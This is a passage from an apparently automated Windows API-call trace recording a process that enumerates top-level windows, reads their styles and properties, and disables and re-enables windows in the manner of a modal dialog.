GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0157.305] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0157.305] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0157.305] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0157.305] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0157.305] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0157.305] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0157.305] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0157.306] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0157.306] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0157.306] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0157.306] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0157.306] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0157.306] IsWindowEnabled (hWnd=0x20360) returned 0 [0157.306] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0157.306] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0157.306] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0157.306] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0157.307] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0157.307] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0157.307] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0157.307] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0157.307] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0157.307] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0157.307] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0157.307] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0157.307] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0157.307] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0157.308] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0157.308] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0157.308] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0157.308] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0157.308] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0157.308] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0157.308] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0157.309] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0157.309] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0157.404] GetCurrentThreadId () returned 0xbdc [0157.404] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0157.404] GetDesktopWindow () returned 0x10010 [0157.405] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0157.405] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0157.405] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0157.405] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0157.405] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0157.405] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0157.405] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0157.405] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0157.405] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0157.406] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0157.406] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0157.406] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0157.406] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0157.406] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0157.406] IsWindowEnabled (hWnd=0x20360) returned 1 [0157.406] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0157.406] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0157.406] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0157.406] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0157.407] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0157.407] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0157.407] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0157.407] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0157.407] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0157.407] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0157.407] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0157.407] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0157.407] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0157.407] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0157.407] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0157.408] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0157.408] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0157.408] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0157.408] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0157.408] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0157.408] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0157.408] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0157.408] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0157.408] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0157.408] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0157.408] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0157.409] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0157.409] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0157.409] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0157.409] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0157.409] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0157.409] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0157.409] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0157.410] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0157.410] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0157.410] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0157.410] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0157.410] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0157.411] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0157.411] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0157.411] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0157.411] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0157.412] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0157.412] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0157.412] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0157.412] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0157.412] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0157.413] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0157.413] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0157.413] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0157.413] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0157.413] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0157.414] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0157.414] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0157.414] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0157.414] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0157.414] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0157.415] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0157.415] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0157.415] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0157.415] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0157.416] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0157.416] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0157.416] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0157.416] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0157.416] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0157.417] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0157.417] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0157.417] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0157.417] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0157.417] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0157.418] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0157.418] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0157.418] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0157.418] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0157.418] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0157.419] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0157.419] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0157.419] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0157.419] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0157.419] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0157.420] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0157.420] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0157.420] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0157.420] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0157.421] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0157.421] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0157.421] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0157.421] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0157.421] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0157.422] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0157.422] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0157.422] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0157.422] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0157.422] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0157.423] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0157.423] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0157.423] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0157.423] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0157.423] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0157.424] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0157.424] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0157.424] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0157.424] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0157.424] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0157.425] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0157.425] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0157.425] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0157.425] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0157.426] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0157.426] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0157.426] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0157.426] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0157.427] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0157.427] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0157.427] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0157.427] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0157.427] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0157.428] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0157.428] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0157.428] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0157.428] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0157.428] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0157.429] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0157.429] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0157.429] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0157.429] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0157.429] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0157.430] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0157.430] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0157.430] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0157.430] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0157.430] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0157.431] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0157.431] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0157.431] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0157.431] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0157.432] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0157.432] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0157.432] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0157.432] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0157.432] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0157.433] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0157.433] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0157.433] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0157.433] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0157.433] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0157.434] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0157.434] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0157.434] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0157.434] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0157.434] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0157.435] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0157.435] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0157.435] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0157.435] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0157.436] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0157.436] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0157.436] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0157.436] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0157.436] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0157.437] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0157.437] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0157.437] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0157.437] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0157.437] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0157.438] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0157.438] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0157.438] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0157.438] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0157.438] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0157.439] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0157.439] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0157.439] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0157.439] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0157.440] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0157.440] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0157.440] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0157.440] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0157.440] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0157.441] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0157.441] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0157.441] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0157.441] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0157.454] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0157.454] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0157.455] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0157.455] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0157.455] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0157.455] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0157.455] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0157.456] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0157.456] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0157.456] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0157.456] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0157.456] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0157.457] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0157.457] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0157.457] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0157.457] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0157.458] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0157.458] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0157.458] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0157.458] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0157.458] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0157.459] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0157.459] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0157.459] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0157.459] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0157.460] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0157.460] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0157.460] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f79870 [0157.460] IMalloc:Free (This=0x7fefecb5380, pv=0x4f79870) [0160.289] GetAsyncKeyState (vKey=27) returned 0 [0160.289] GetCurrentThreadId () returned 0xbdc [0160.289] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0160.289] GetDesktopWindow () returned 0x10010 [0160.289] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0160.290] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0160.290] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0160.290] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0160.291] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0160.291] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0160.291] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0160.291] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0160.291] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0160.292] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0160.292] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0160.292] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0160.292] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0160.293] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0160.293] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0160.293] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0160.293] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0160.293] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0160.294] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0160.294] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0160.294] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0160.294] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0160.294] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0160.294] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0160.294] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0160.295] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0160.295] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0160.295] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0160.295] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0160.295] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0160.295] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0160.295] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0160.295] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0160.295] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0160.295] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0160.295] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0160.295] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0160.296] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0160.296] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0160.296] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0160.296] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0160.296] IsWindowEnabled (hWnd=0x20360) returned 0 [0160.296] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0160.296] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0160.296] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0160.296] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0160.297] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0160.297] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0160.297] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0160.297] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0160.297] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0160.297] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0160.297] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0160.297] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0160.297] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0160.298] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0160.298] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0160.298] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0160.298] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0160.298] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0160.298] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0160.298] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0160.298] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0160.298] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0160.298] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0160.298] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0160.299] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0160.299] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0160.299] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0160.299] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0160.299] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0160.299] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0160.299] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0160.300] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0160.300] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0160.300] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0160.300] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0160.300] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0160.300] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0160.300] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0160.301] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0160.301] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0160.301] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0160.301] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0160.302] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0160.302] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0160.302] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0160.302] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0160.302] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0160.303] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0160.303] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0160.303] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0160.303] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0160.303] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0160.304] GetWindow 